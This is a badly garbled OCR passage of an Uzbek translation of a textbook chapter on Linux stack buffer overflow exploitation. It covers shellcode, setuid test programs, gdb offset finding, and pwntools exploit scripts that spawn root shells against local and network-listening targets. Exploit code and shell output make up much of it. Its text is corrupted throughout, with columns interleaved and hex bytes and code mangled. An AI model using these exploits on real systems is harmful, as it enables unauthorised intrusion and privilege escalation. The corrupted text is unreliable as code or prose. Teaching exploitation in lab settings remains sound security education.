lish uchun ishlati]adigan alama. Us
hujumchiga oddiy huyruu:_] tarjimonin; (shell) tagdim etish edi, Shundan beri bu
atamall:i nafaqaf ihell yaratish, balki imtiyo; mi oshirish yoki masofaviy tizimda
bitta buyrugni ajarish kabj ko*plab bosh a vazifal ; iladigan kodni
qamrab oldi. ShellCode aslida zaif ary; . Sy Tusldige

: s g ikkilik o kodlar gatori ekan-
ligini tushunish muhlmdlr{hu hold ku‘pinch]; o'n olt[illil-: shaklda

taqdim etiladi. Internetdy barcha p foydalanishga tayyor bo*lgan

ko*plab ShellCode kutubxonalari Yt Sinov
dasturida ko‘rsai] Aleph1 ShellCode’dan (sino

a Intel x86 32 bit),
latformalay uchun
ni topish mumkin,
£an) quyidagichga foydalanilagi.

include <sidig h~
Binelude =SVsimmman. >
const char sﬁeﬂmdef 1 = /setuid,

() & Alephis ,
W3OS xdbiebOte P ffse.'nid(ﬂ)}:?::mm SN g
weblelflxSele89e 761008

W3l ecOless kr#ﬁ'l.tﬂ?'lx&ﬂ'lwﬁ wlcbehOix0n "
" 893 'x&dh#:hﬂ&"l.n?ﬂ’l.ﬂd Lelelx, Bix "
b P . cdLe80e3 |\ p w898 \x 40\ eq

int mraing) | omain function o
The shellcode is on the .data segme ,;, p—
we will use mprotect to make the page e

mprotecty 51 4006,
fvaid *)icintishellcode ‘Er“’”w' }_IJ"REJT EYEC
PROT READ | PROT _WRITE |

f i infer,
g id of the shellcode varfable o a function po
Canvert the address @ s A
allowing us to call it and u.w::.l-h f
int (*renir) = (inte*)())shellcode.
refirn reffl,

i mpilyatsiya gilamiz va ishga tushiramiz:
lcode.c test dasturini ko pilyatsiya qilamiz va i
Keling, Shellcode.c

lleade.c

S gee -mi2 -o shellcode she & sudo chmo

Sleode
£ suddo chown roat:roaf shelleot
8 shelleade

i id
nid=froor) gic

{ u+5 shellcode

2 ), 27 (sudo)....
kali) groups® .fi’HJt’Jr‘.l'uh'J',.'-’-Hn-’mm}.jfﬂnm:j;
{= 1000 katt} & L
g ni oldik.
Bu ishladi — biz ildiz qobig"i (roo! shell) | k
B 3: Buyruglar satri orgali *stac

i i hi ln' h
ratoriya 18 . ¢ oksploitlas .
Labo overflow I::lr:clli d:l: EIPni qayta yozish uchun zarur

i atoriyada ! ilib. biz ekspluatatsiyani yaratish
Esda tutingki, Ijﬂ- I'::,mﬂ giladi. Shunday qilib, biz eksp
bo‘lgan o*lcham 412 ni tas 7. "
uchun Python'dan m}ﬁagﬁlﬁ}'mqni ishga tushin
Birinchidan, quyicagl =9 . |
uchun ASLRni o*chirib go"yant!

sh orgali ushbu laboratoriya

) mize_va_Space
proc/sys kernel/rando o e
e e printf va we dan foydalanaylik:

i hi h uchun
imini hisoblas
KEling, Schellcode hajym

1] 7ixedx80'we
wblwbOWITXCE0 et
e -_h“,'-‘t'”'-"” Wil o 89\x Sl SR
S u{-‘j}nv‘_'-wI_Tmm.k.-,_,-hﬁur]'h'n'ffé‘:? ﬂ?’-’lfﬂ-’-‘h | we =€
l.'l'-fﬁ'.lf:q*-‘;”_ J.,L.q”lfﬂ'tq].\'dt"l-t L1 R
e8P el 8L Diveaix

W/ fixSe 89\ 7608 w31 e :.']' w8&&
y :.’H :.e;' A tcleved x80'x 3 Jxedh
a L

A o*naltirishni topish
= .10 cich uchun EIP ' q%& ETE?EY baytga yozishimiz
Cudeqﬂl bajﬂn ) l ach{)n e}p i 5 }r' ” . R_
Keyinchalik, Shell dalanamiz- Biz allag gdb’dan ikkilik faylni yu
a

irinchi gadarm idaoi i bajaramiz:
uning "ghu:;?uchun biz quyidagi buyrugni baj
shdil'. un

magsadida gdb’dan fﬂYh
Mumkinligini h:]a{niz. 8 :
lab olish va o*chirib 0¥
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_.-:~_.'-
S gdb -q —args /meet Mr “python -¢ Print("4"*4)2)"
Reading symbols from ./meet. ..
feeh) run
Starting program: /home/kali/GHEvG), |
/ bichl0/meer Mr AAAAAAAAAAAAAS AT AN 444444
AAAAAAAAAAA A.{r‘!.'f:!f|.'|'A.-f..-L‘l.-‘L":‘.'[.rl.-f.'f,*L‘T.‘Irf!!.-].*f.»f.-].-f.'l.rl.'f.-l'.'l.-;.'} i‘liri JIIgljlljli]l JII]TITI B

Program received signal SIGSEGY &, —
Ued 1414141 in 27 () » SEEMentation fault

Endi biz dasturimizni muvaffagiyatlj

ziliga qayta yozilganligini ko‘ramiz, Ke tugatdik va EIP"ning 0x41414141 man-

: inchalik, stekda nim:
uchun GDB dan * S }Hm{ » stekda nima borligini ko‘rish
examine memory buyrug*idan foydalanamiz. Alohida qismlar-

ni ko‘rish har doim foydalj bo‘Imasligj i, biz bi
(4 bayt) iborat to*plamlarni ku‘ramizl.gllazal?abl" biz bir vaqtning o*zida 32 so*zdan

(geb) x/32z Sesp-200
OSfITA224: Ox41414141 04141414) Oc4 141474,
;gﬂvi: ngufmﬁu OX4I41414]1 041414141 (g 19741
Oetizts “OIISIA] 01419141 0c41414141 Oug 1o
i gx.-rmm; O41414141 Oxd141414; a}m.{”‘-u
paed: CoA 1414141 Oct141414) Qe 1414191 o ir et 9]
NIA274: A 1414141 0341414141 Ougg14149 o0 414141
ONIIA284: Ox4141414] Oeq BAR

1414141 Oxd14
Oxfifid294: xdidigi4) Oxd141414] mm.;;:}’::

Oxd1414141

Bizning stekd e
yorish uchun NOP tekigigpes "2 88 Ko'rshingiz mumkin, EfPni qayta
Bizning holatimizda Ox ISiz manziln; lanlashimiz mumkin.

shi mumkinligini unutmang), aymiz (birog manzilingiz farq qili-

— 355 bayt NOPs («\
— 53 bayt shellcode
— 4 bayt return addres
o : S (x86 T
lESk':I(l'I Ic_t zgartirishni unutmgng] pmlﬂﬂssorlarmmg little-endian uslubi tufayli uni
eling, foydali yyk .
topshiraylik: y fPﬂ_"flnad}nl Yarataylik va ypj zaif meet.c dasturimizga

= return address = 355

S /meer My Python

XBONTEW08M3 ] txopregimre et LI RI0M3SS & 310wt
<31 dmﬂger&&:gﬁmwﬁwmapwﬁuﬂmm Welled lwdb\wh0\x | 7\edixS01xeb i 1fwse)

cd\x80\xeS rdey OB ISI\f3\x e dete0sins A 80\
Hello A bindshy +1, ‘ dlx56\c0clxe
1INIFF ¥24\xd2\ff\xefr)

l4ﬁ>

v
1w binshs
# id
wid = fifroon  gid= 1000 kali)
0l 30(dip). 44 video) 46(plugdev). 109( netdev), 11

groups= 1000¢kali), 24¢cdrom). 25 (floppy). 27 (sudo). 29 audi-
Orbluetooih), 13 3tscarmer), 141 (kaboxer)

‘Pwntools’ yordamida eksploit yozish
<h uchun Pwntools freymdan foydalanaylik.
ga muvofiq o‘matilganligiga ishonch

Laboratoriya ishi 10.43 _
Eksploitni yozishni osonlashtiri
Pwntools 111 bobda tasvirlangan protsedura
hosil giling. T ——
Keling, ~/GHHv6/ch10 papkasida joylashg

tushiramiz:

eet_exploit.py faylini ishga

S pvthon3 meer exploit.py

[ + ] Starting local process

[*] Switching to interactive mode

Hhelfo 1 000 90 90k M 90 W PO x PO D0 e 9

' o100 9 90 90X IO X D IO LT . ok |
900 L.\- 5“{] ',:'9':'! -,r'!’{’ 'y w.’ :r? I-‘;:}F: l;iﬂ“- o Pl x gy 00 Pl o :L\'W I wﬁg Tﬁg :Lt, gg.,_x ig I ;- ig _: gg :gg
I';-yﬂl-:::: ;""- ;::: .‘i::‘:::: : W.I!r:#ﬁ';.' gyl G 9lx gl pvl'.]":.'l.l'Qg L'hzgl::ﬂ:yn !1:, m.::;,m, e :t p”l;
X -1--;, ) _J", o0 -"-_ Wj--‘-grn -1' i -1' 0 x 9090 \x iy 91‘}'..?5'4’#'[,1,-9'{!'-_1;“-,12 y[]:.ﬂ;'ﬁ I1r pn;'r 90\x90x90x90'x90)
nbdebibui AP N UL o
.l'UH-:..!J:;Ilz::Jﬂ::: 1'Llﬂ'-:'S-W"1'?1'?-:1'{-'{?';1"}?!'3'.1‘9{.1.tSF'ﬂ'_n."M'-_Tﬁg-.rﬁ;u 00 PO e P YU M e AU
; RN T IR T IR ¥ AR : ; a0 9090 x 90
X90x90/x 90 x 901590\ 590 XN x90 X0 KI0NIOK <901 901x90 X 90 x90 90 x90 x90)
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YelSE el vde ff eff wff sqtcdron). 23 (floppy), 27(sudo), 29 andi-

S i = 1000¢kali).
;'-f:*{ Otroot) gid 1 000¢kalilgrovps 100% i), 133(scanmer), 141 (kaboxer)

o), 119(bluetoal
o). 3 ”ﬁﬁp,il_ 44 {video), 46 rp,f;.agdl.'!‘!. [1%ne felen

+ meet’s pid 30153

90 90 x 20\ x 9090 x 90 90 x 90

buferlarni eksploitlash
hun zaif bufer juda kichik bo‘lsa
10 bayt bo‘lsa-chi? Keling,

. kichik
Laboratoriya ishi mi;;ﬁilt“uc
Avval aytib o‘tilganidek. 8 ;" ing uzunligi atigi
Nima bo*ladi? Siz topgan Zaif P ﬁ;‘
quyidagi zaif kodni ko'rib chiqay

“smallbuff.c

#include <string.h=




smallbuffni gdb bilan ochamiz va EIP-ni qayta

imiz kerakligini bilib olamiz:

int mainfint arge, char * arev(]) " . :
Bl Eksploitni yozishdan oldin,
yozish uchun gancha bayt yozishi

char buff{10}; /small buffer
strepyibuff. argvf1]); Aalnerable funcrion call

return 0
" S gdb -q smallbuff _
Reading svmbols from . smallbuff... )
Uni kompilyatsiya giling v dii o (No debugging symbols found in /smallb
a " . i s
E e fgeth) r .-H;I.-I.-I.rL-I'.-H,-I':l.-L*I.-L—!.-L-I,-!BBHE AAAAAAAAAAAAAAABBEE

Starting program: home/kali GHHv6/ehl0 m:fl?:_:ﬁ—ﬁ
=2 -fno-stack-protecior -= execstack Program received signal SIGSEGYV, Segmenialic *
Ox4 2424242 in 22 ()

S gee -m32 -rnpmﬁ*rmd—ﬂnvk—bmmdur_;-
-0 smallbuff smallbuff.c

8 sudo chown root:root smallbuff

§ sudo chmod u+s smallbuff . 1
§ Is -1 smallbuff Endi EIPni gayta yozish uchun

-rwsrxr-x I root root 16488 Jun 30 18 52 tugatamiz va ishga tushiramiz:

8 bayt kerakligini bilamiz, keling, eksploitni

smallbuff
Endi bizda bunday dast i ! ' '
ur mav : . g # 1 s bin env python3
mubhit o‘zgaruvchilar {Envimnmen{usi un; qa"fd“}’ ishlatishimiz mumkin? Javob dsmallbuf Lu,'_qrfuﬂ.;{!'
muhit o*zgaruvchi (environment vari s ‘]ESJIdan foydalanishdir. ShellCode'ni Sfrom pwn import *
o s ht variable)siga saqlashingiz va kevi Bk re #Ger SHELLCODE env
muhit o*zgaruvchisiga yo'naltirishingiz mumki qlashingiz va keyin EIP"ni ushbu 5
~ mumkin, ShellC : e emp = process(". getenv o ). 16))
ode deb nomlangan mu shellcode env = p32(int(envp.readine( b

hit o*zgaruvchisini o*matishdan boshlaylik:
civp.closel) "
S export SHELLCODE- Python ¢ i meDgrerg pavlogd = b"A"™ I8 + shelleode_em

xeblx ff.'fjf"'.fgpix 76'x08x3/ eOix88 e dSid ?:tqg!x#ﬁ ” h"_’l.‘.” wellod ) ixdbihilx ] 7ixed s P I”TJE‘t’-'fSH", SJ‘"”HM‘.IW' pr}_]'fﬂﬂffﬂ
X e b

e nldi&ﬂxﬂ"""'rb“"w'-”‘f'?‘-Tm'.r-:'d".rr‘iﬂ',wﬁ,wfc-.t_;!??.tﬂ‘._t hi .fm:.f'w‘tﬁ w8 e S Sl w36 pinteractivel) . o
Witiaish £ pvthon3 smallbuff exploit.p} o pid 231069
Keyinchalik, ushbu muhit o° - (] Starting local process “/8€tem” FES0 1 231069
kerak. Biz gdbx/20s *((char ** #garuvchisini ko'rsatadigan manzilni olishimiz [*] Process " /geteny" stopped “'”;}":?,, pid 231071
ammo bu mubhitda siljish] “ }E1nv1rn] buyrug*idan foydalanis] s nkin [+ ] Starting local process - .wm;!l uff -
Python’dan libe g h?r Xil bo'ladi. Yana bir vari; e cao 1*] Switching to inferactive Moot 25 . 27 (sudo), 29 awdi-
i .geteny ﬁmk'&l}f&sini chagirish I'fdm - clypes ynrdﬂnndﬂ S id : ppme. Hmm.ﬁm.‘ﬂ..’-.fr-:-n‘nmu..-.{ﬂapm } s .
t:-ﬂllﬁktflubxunalami Yuklay olmaydi. Eng tesL ammo afsuski, Python 64 bit 32 wid=Ofroor)  gid=1000(kali gf?f:m.f:'%” Orbluetootl, 133(scanner), 141 (kaboxer)
DE™)ni chaqiradigan C*da kichik das:tur }'gﬂ:;;{?r variant geteny (“SHELLCO- r:J,j‘ﬁ(‘ﬁ!”I,‘ur..hh.n_i_45(;!!“]{:&'\'!.fﬂwm |
Jgetenvic e Eksploitni ynra_tlsh Jﬂra.yumhaqiqiy e
finclude <stdio > v < kama qi]gﬁnimlﬂﬂﬂn s0°Ng, e et modsofide
#include <stdiih, jy> Eng muhimlarini I'HUI_":'. otda zaifliklar har doim ham meet.c mi
Hinclude <string h> chigishga tayyormiz. Haqiqy hﬂ.‘r'r rflow ek sploitini ishlab chigish jarayoni odat-
. m{urc_;fur,l { bo* lgani kabi oddiy emas. Stack :Z“ L.;}Iadi’ ‘ s
iy s, " i . : . e
i*en::f éfr%ﬂ&m + (gerem("SHELLCODE") + strlent"SHET 1 ¢ da quyidagi bosqichlarnt 0’z w,l;;gr:ssmins to'lib ketishiga olib keladigan zaiflikni
. | ELLCODE="))); ~ Qaytish manzili {rﬂ"tl{ﬂlfl cegistr) boshgaring. i Sl yomson
aniglash orgali ijro ogimint elF'h Llovlami aniglang {lsh_las ni i gan y
| ~ Ofset (yoki ofsetlar) v oee ki gavsni qaytarish va nol bayt).

getenv.c faylini kompi s
pilyatsiva qgil; & ari, past
Ya qiling vg ishga tushiring: belgilar, masalan, satr o*tkazmal o

E;g;ﬂ%iing va to‘lib ketish

paytida dastur harakatini ku-

$ gee - :
8ce -m32 getenv.c -0 gereny = Hujum vektor!

§ Jeetenv .
Oxfiffdive = Muammolarn

Zatib boring.
‘ 249




= Eksploitni yarating,

~ Eksploitni sinab ko*ring,

Har bir zaiflik, zaif dasturinin
rakatlariga va zaif funksiyanin
maxsus holatlarga ega.

g tabiatiga, kompilyatsiya bayroglariga, xatti-ha-
g asosiy sabablariga Qarab o°ziga xos cheklovlar va

Laboratoriya ishi 10,
Ushbu laboratoriyada ilgari
foydalanadigan ch10_6 dastyr

6: Moslashtirilgan eksploitlarni yaratish .
i ko'rilmagan misol ilovasini ko'rib chigamiz. Biz
i -IGHI-IvﬁfchIﬂjildidajﬂylﬂshgaﬂ.
EIP boshgaruyi (Controlling the E1p)

¢h10_6 dasturi tarmogq ilovasidir, Unj ishga tushirilga

; nida, u 5555 portni ting-
laydi:

S /chl0 6 &

[1] 234535

3 netstat -ntlp\grep chld 6

p 0.00.0.0.0:5555 0.0.0.0-* LisTEN 233 73700ch10 6

Yolganda, ba'zan shunchakj uz bo-
: zun satrlarni yu

rish orqali zaif joylarni topishimiz my
? R - mumkin, Boshqa ovn d ordamida
ishlaydigan ikkilik faylga ulaning; S

§ ne localvost 5555

L ogi .

Username: Tesy

Invalid Login!

Please Try again

Keling, Pymﬂn‘danjuda Uzun satr

5 pvihon -¢ 'p.-'mfrrf,h‘&'ﬂf-'ﬁ) 4
———-LOginess . =

Username: close Jailed in Jile object destrucgy
svs.excepthook is missin -

g
lost svs.sidery

L e localyagy 5 555

Bizning binarimiz kattg gy bil o
aniglash uchun GDR'y; ulashimiz i:r:mhqacha harakat giladi.

Buning sababini
bir oynada ishga tushiramiz vg boshqa

k. Biz zaif dasturimizni GDB yordamida

Ovnada imion; : bu
dastur har safar yangi ulanish qaby| qil : ehild mizni yuboramiz. Ush
INIng muammeolarin; bartaraf etish m

250 }

inganda,

child jarayonini yaratadi. Eksplo-
aqsadida,

GDB’ga ulanishda child jarayo-

By -

i i ida o‘rnatilgan
iga ri ilishni ta’minlash zarur. Buning uchu_n Edbk::;ir&m
niga rnioya quhs b ini ishga tushirishingiz : | oy
follow-fork-mode chll::]:;u}r}:;gjr;;:mdn tuzatuvchi Ekran'dﬂ]l:[:imj zzzd;;thnc:i t;ﬂ:gj
k ”]-3{;[‘331_1[?3 lu::;:.::falda ruzatuvchini va boshqa termina
o°'rsatadi. Bina te

va qaytish manzilini gayta yozganimizn
rib, biz stek xotirasida -“‘_’q,‘.a’;ia"zfiﬂnksigadan qawgéﬂﬂl“*?ilﬂ;{;ﬁf;gd
xo'rishined munikin., Hatls E:;tended Base Pointer) registr ;r; struction Pointer)
Instruction Pointer) va EBP {[{;-[ib-lﬂi‘?"gan va EIP {Ex.lend; h? ish Ioneyciiining
o wrm I.;Ias:-‘-lli huf;gnnmiz. Bu cksploitning ishlab chiq
ni muvaffaqiyatli qayta y

i inei bosqichga o'tamiz.
birinchi bosqichini yakunlayd. Keling, keying!

Ofset(lar)ni n_nlqllﬂisl_r
h orgali biz un 10 gT y
Buning eng 0son yo 1_d
rn generalor yordamida. WS
ulanish uchun Python skrip

i hun kerakli belgi-
yozish uc -
EIP registrini kuzatib boris pwntools kutubxonasidan

¢
lar sonini aniq bilishimiz zar, B
foydalanish, aynigsa, cyclic pa

Birinchidan, tinglovehinmizgd

# wse binenv m‘.‘hﬂ”-’z
Behlf) 6 exploipy

Y e L]

] -atuvehi ekran
wrni 1'1.*!:01151:::’:1 fuza
=oif 8¢ ]
. Uzoq
10.2-rasn

Srom pwir import : _ 296"
context(hits=32, arch= “.f 10 6 server
# Connect 1o 1'"“"""'}7!6 ‘F‘; 5) 3
P = remote('localhost’, 32
i Send 4 1024 times
paviload = "A"*1 ”:‘J -
p.sendlineafier(h "Usernams

Pinteractivef)

ﬂi N 1) fr & ;R i;
-”f 1 J ;E”{l: 1 .Irﬂlu

; kriptini
. sanimizda va Python skrif .
pB’da ishga tqstlrflﬂﬁ;suzlikka duch kcilshm_uz
Ik F imiZﬂl }'ﬂ.ﬂa ; ‘zd& hiz hﬂll -a; ¥ ishiﬂj’ﬂpﬁ va EEEI‘HETHBEIYE
. klllk dzslur] bﬂ lushirga]“ thnn skrlpu to'g i |
UShga oynada ishg “1ea. PY
'E-u} -
Mumkin, Agar shunday

r-J
L




oo EIF'mgi?[ﬁ"i?g il!x4l4l_4|4] (AAAA) noto*g'ri xotira manziliga o*ratili-
i s:,a!:-a‘b]: sodir bo'ladi. Keyinchalik, buferni to*Idirish uchun qancha belgi ke-

deassembler kodini o*qish orqali erishish o'r-

yob baytga to*g'ri kelad;. Ushbu bayt]
stekda saqlangan qaytish manzilining
uzunlikni ta’'minlaydi,

ami aniglash Jarayoni juda oson, chunki bu
ofsetiga erishish uchun zarur bo'lgan aniq

#lusribindeny python3

#chll_6_exploit py

from pwn impory *

comextibits =32 areh= 'i386")

# Connect to vulnerable chll 6 server

P = remoreffocathos 5555

# Send a 1024 bytes long eyvelic patfery

.J'Jrﬂ‘-l'l]::f =evelie(1024) # Cyvelic Patreryy
p-sendlineafierth"Userngme. » ...

p.interacti i{ﬂ TG s pelont) # Sendﬁﬂ'”m‘f

Endi eksploitni j irganimi

ploitni ishga tushlrgamm:zda, gdb’dy boshqa qayta yozishni olamiz:
fedb) set follon v-fork-mode ehild
fgdb) r

Starting program: ‘home kalin
: A “RAlUGHHYG/oh 10,
f,-l':'.*n-:'{mrg I:.gﬂfr Process 245725 fork .':r :;}?::””._ i
[New inferior 2 Cornas 245773)) Mocesy 2457 727
[Detaching afier Sfork from i
: parent proees

nferior | (process 245725 u'em.:-i::;‘fmx 2‘”?3;

Th ': ; n L ] »

. rem 2 ! "ehil 6" pe eived signaf SIGSEG o ;
(Switching to Procesy 245??.?} R fanh,
63616171 in 72 fi |

&

Bu yerda eip 0x636
(eyclic) shablonimizdgo; o, gini ko*rams - iklik
21 "caaq ketma-ketl:: ramiz, bu bizning si
langan Pwntools o*rmar: : etligiga mos keladi ir-
o me; I: ;u:lrzus‘?n@; rSalmalarigy gmq qilgar:: lggii:,ﬁﬂi; ;Ivbn:::;;ﬂ;‘;;jﬂ
dasturlarinj o" matasiz. % xﬁ;ﬁ?ﬁﬂﬁa}m ho‘Isangiz. Pwntools htuyriq'q:;uri yordam
pwntools eyclic buyruq adigan ofsetn; topish uchun biZ

n lrﬂjr’dalm:isl'limiz. mumkin:

: £2a mos kg
qatori yordam dasturida

3 eyelic -1 0x6361617;
264

i i 3k ini ish
giz, mugobil variant Python J‘kﬂﬂﬂﬂll
va cyelie_findfunksiyasidan foy d

ordam dasturlarini o*matishni xohlamasan-

A ot ga tushirish, pwntools™ni import gilish

alanishdir:

S pyvehond (13:44)
Python 3.9.2 tdefault, Feb 28 2021, 17

[GCC 10,21 20210110] on H"".'T —
Tipe “help®, "copyright”, "eredits” oF

== from pwn import * .

>>> gyelic ‘.r‘im."m‘.'l.'ﬁjﬁfﬁf 71

264

" for more information.

964 bayt ekanligini bilamiz. Bu
oldin qo*shilishi kerak bolgan

. in aniq ofset
Endi EIP gayta yozilishidan oldin aniq
dim etadi.

it jshdan
bizga EIP qayta yozish manzlhmsz i:::;i]gini i
to*Idirish ma’lumotlarining dastlab

niglash .
m:da: so‘ng, foydali yukni ba_]ar‘:sh
erakligini aniqlash zarur. Buning
o*shish orqali kodimizni o'zgar-

Hujum vektori :

g s

}ruziiishim nnlql.aggni.rn :
ni ko'rsatishimiz.

uzish maydonint d

EIP qayerda gayta _
uchun stekdagi qaysi manzil
uchun NOP (No Operation) b
liramiz,

# ! wse bin eny pythond
Helil) 6 exploitpy
from pwn import * N
context(bits=32, arch= i-‘::‘:;; ;
# Connect to 1'Hf“t""lﬁh.—fqé 5)
r 5550
P = remotef localhost, o -
shellcode = h"‘:‘q""’E{:Lfi;J.‘;iﬁ
nepsled address h"B
i Craft aur p-_-:_rfmﬁ-*
pavioad = bh"A"*264
pavigad += nopsled_

pavioad += hn"._-,,'!?f]'r-j': §s r,;d'prl"'hmtf
."?f{l‘.’ﬂ:]d = J..‘hi‘.lrfl'-"'-"k. " ‘milrfﬂﬂfﬂ ¥

p.sendlineafer(b np Jgername: . ‘
pieraned donni tagdim etadi, bu esa agar
y uchun katt mﬂi rsatmalarimiz doirasida biror
SO Samsl:am Kkodimiz NOP T(splaitning bargarorligini usi.uj
Pozitsiyamiz biroz ”‘zgaﬁ.ﬂi r;di. Ushbu usul, cbcradi‘ 32 NOP ko' rsatmalarini
Joyga tushib ol s imkuqlr: i bajarishg? S ayta yozish imkoniyatiga ega
rishga va foydali yukni 10 idr;d Stack pointer)nt @
te
q0°shish orqali ESP (EX

server

address

"L{I']'




bo*lamiz va o*tish manzillarini tanlashda
Shuningdek, esda tutish lozimki,
maydi, chu:]ki bu belgi qatorni tugatish sifati
hf]D[{m_ qayta ishga tushirganimizda v
:gsﬂgiﬂlfﬂlzdﬂ: EIIZ EIP IExIcmflﬁd Instruction Pointer) registrining (x42424242
Vana, Yo gayta yozilganligini ko'rishimiz kerak
_ Yang o'zganishlar bilan NOP drify m ini ik 3 igini
aniglash uchun stekimizni tekshirish iml-:unii};fi[é?::;ai?:yemﬂ s

qo*shimcha moslashuvchanlikni olamiz.

da gabul gilinadi.

Sgdb-q ./chl 6
Reading symbols from /ch 10 ]
fNe debugging symbals found

5 i in . fehi g
(gelb) set follow-fork-mode child o
fedh) r

Starting program: /home/kali/

. 24 kali/GHEH ich 1)
fzi‘frr:c.fmrg .f{ﬁ'fr Process 25253} fork ;:; :-.ru';::*hm e s
[New inferior 2 (process 2 2581)] RSN
,’Dfrm_m:rg after fork from Parent procesy 25353
[Inferior | (process 252531 r-’e!m'he:fj e
T.l'lﬂ'l‘?‘h‘d 2.1 "ehl0 6" received signal SIGSEG Y
[Switching 1o process 252581 ] . e Seg
O Ox42424242 jn 22 fl
(gdb) x/12xw Sesp

mentation fanls.

0 manzilida E|p qayla yozi iy

. : }rﬂﬂliganh ' 1N i .
ning E'*:!DF'I]-:G rsatmalarimiz bilan ln#ﬂirillmdramm
rew o'rtasiga kirsak, u biznj to'g'rid ) 1 Ag
boradi. an-to’g'ri q

: ﬂ“m}d#ﬂs @ da qiymatlar biz-
ar 0xfifid418@ da NOP homeb-
obig kodimiz( shellcode)ga olib

Tajribali tadgiqotchj 0'z shellk
ammo biz fagat Pwntools kut
Ushbu paketda i
funksivasidir.

|
ubxon

Bl useibindeny Python3
#chl0_6_exploir By

00" belgisi bo‘lgan har ganday manzil ishla-

a yangi ekspluatatsiya kodini ishga

Srawm pwn import *

contexifbits = 32, arch="i386))

# Connect to vulnerable ch10_6 server

p = remate focalliost, 222. hellcode
# findpeersh ¢ dup2isoc
shellcode = .u_ﬂu.',chi"‘h‘!'ﬂﬁ-ﬁ”_"lﬂf"":r shi))

nopsled address = p32 (Oxfiffed4 15)

# Craft our pavioad

pevioad = h"A1"*264

pavlead < = nopsled uddress

pavlead += h"x90"*32

pavload + = shellcode s load

p.sendlineafterib"Username: " payload) ¥ Send pa

pinteractivef) o
o esa eksploitni; biz qobig®i-

. N
Keling, oldin gdb™ni gayta ishga tushiramiz

mizni qaytarib olishimiz kerak:

S pethon3 ¢hll 6 exploit.py Hhost an port 5553+ Dane

[+ ] Opening connection 10 fm‘ﬂl: "

[*] Switching to interactive modt

Sid

wid~ 1000kali) gid=1000(k
o). 30¢elip, -HF1':':-*:'11J.Jﬁfﬂh"-i-"dmlj'

ijﬂupnw,:’Frsudaj._’&rrm:d:'-

1 241 cdrom),
(kali), 24(cdrom ). 141 tkaboxer)

T’i‘;’:} rﬁf.::;if:ffﬂr hluetooth). 133{scanner
- lanishimiz uchun gobigni
i irgandan s0'n8 UL ish imkoniyatiga
joyi sploitni ishga WSHITEAL . ruglarni bajarish imkoniyatig
(sh ﬁ;ﬂwh! ihs?;lj?:nlliudi interaktiv qobiqda buyrd
shell) gaytanb oldik.
Camiz,

x“m:::tr ckanmiz, yuqori imtiyozlar yoki

i ini 0° ichning bi ha usullarini
: . i gsoslariml OFST L i chning bir necha
s opr.:ratsm; "z'lbnl:;‘-:rni muvaffaqwatll lf'"liﬁ::;irish t?rqali biz kodni baja-
Masofadan kirish uchun sprog joym
dan ko'P

bt s ik ; ni pointer (ESP), Extended Qase
ko'rib chiqdik. Bufer ajrate? stended Stack :,L(::;tigﬂ yozishimiz mumkin.

rish eleme ini boshqarish BEr inter (EIP : ER S
N e emt:mlnnm i d1n Sm,,_:gmn Po i biz g u'shlﬂjl‘-'ha kirish Ilril‘lkﬂ!ﬂ}'ﬂl.
inter (EBP) va EXTTE . . g minlash OF4%% . o hini nazorat gilish imko-
Shellcode™ni bajarilishh pu ikkiliklarning s wushunchalarni mashq gilga-
larini amalga oshirish va U:m bobda lushununlgﬂf; fling. Kengaytirilgan Linux
Niyatiga ega bo*lamiz. Ush ingizh ishonch host lfl-“ux tizimlarida foydalanish
nil"lgizga va chuqur m:f;\rnungﬂl:l1 " bobda biz G4bitli L1 S qaratamiz. Bu xavf-
ekspluatatsiyasi bo'yicha key" b vi tush_'-m“]?am-g;yﬂnlarini yanada samarali
Uchun yanada murakkah;?anish va -zlvtslf’]"":;.ﬁI YR
sizlik zaifliklaridan foY¢2® . .y opgaytiradi:
amalga oshirish imkoniyata™™ s




Qo'shimcha manbalar

;;;?ﬂd Profit” (Aleph One
Buffer overflow en.wikipedia ]: & i

Hacking: The Art of Ex :
Starch Press, 2008

Intel x86 Functio
ARl n-Call Conventj
W‘l.!r'\:.I.II'!IXW|Z.nEUlEﬂhlipSi’Wilﬁz—E:ﬁ: “U?HE 3
; Linux permissions: SUID SG“;JH‘»
re hat.cumfsysadminfsuid-sgid-;tick}-

“Smashing the Stack for

h - :
phrack.com/issues.htmI%jssye aka Alephl) www.

plnim;gfwikifﬂuﬂ'er_uverﬁuw
1on, Second Edition (Jon Erickson) No

A o
-.:tsml.htrnﬁlsmum!'r View(Steve Friedl)

bit (Tyler Carrigan) www.

11-BOB. TAKO MILLASHGAN LINUN
EKSPLOITLARI

Ushbu bobda quyidagi mavzular yoritiladi:

* Qayta ishlashga yo*naltirilgan dasturlash (
(NX) chetlab o*tish.

* Stek keneries mexanizm

* Ma'lumot sizib chigishi

« Ma'lumot sizib chigishi bi
chetlab o*tish.

ROP) bilan bajarilmaydigan stekni

i mag'lub etish.

bilan ASLR'ni chetlab o‘tish -
lan mustaqil bajariladigan (PIE) pozitsiyani

Endi siz X bobni 0'qib chigganingizdan so'ng, l_#mux?mi yal_ﬂ.ad_é; ta};m;ﬂ-
lashgan usullarini o'rganishga tayyorsiz. Soha s it r'nlrl? l;lmh' -
moqda, xakerlar tomonidan yangi usullar dmrrrTo k‘asht etiladi va ti ;13 ,c |r;:|1'|:.,--
chilar tomonidan qarshi choralar amalga us_hlnlat}t._ I‘:uaﬂ:';;iakgur; ;r ;r;mi j;
Shishingizdan qat'i nazar, asoslardan tasha2riEs chlqlshi Zamn. da UShb}:l bobnin
Oldinga siljish mumkin - Sﬂyﬂlmingiz ﬂ?dl.gma t:DS ﬂ‘;h ughul.'l ko'proq }"ﬂ‘nag—
OXiridagi “Qo*shimcha manbalar” ho'limi sizga 0 rgam
lishlarni beradi.

oratoriya ishi 11.1:
. hitni sozlash

Zaif dast® - n:i'ilgan zaif dastur tahlil gilinadi. Vuln.c
o rﬂﬁ e a har bir laboratoriyada uning
h uchun gayta wziladi. Zaif
lib. u fwdazanuvchidan auth funksiyasi-
ritishni so‘raydi.

ek (NX) himoyasi bilan

eksploitini qu,iufn:1:,*liris]‘.l!‘li:ﬂgt .
p serverl ki
Q.i bilan pal‘l‘.)]lll 1

pajarilmaydigan S

dastyy oddiy ko*p ogim!i FA AT
da oddiy stekning oshib ketishi zaifli

Keling, vuln.c dasturini fadat
Wzishdan boshlaymiz:

§ gee -no-pie wilie -0 viil

8 checksee —file=. oueln o)
*} ‘homekali 'GHHI'ﬂ-‘l'M Hovnln
Arch: amd64-64-linle

RELRO: Partial RELRO

Stack: No canary foun

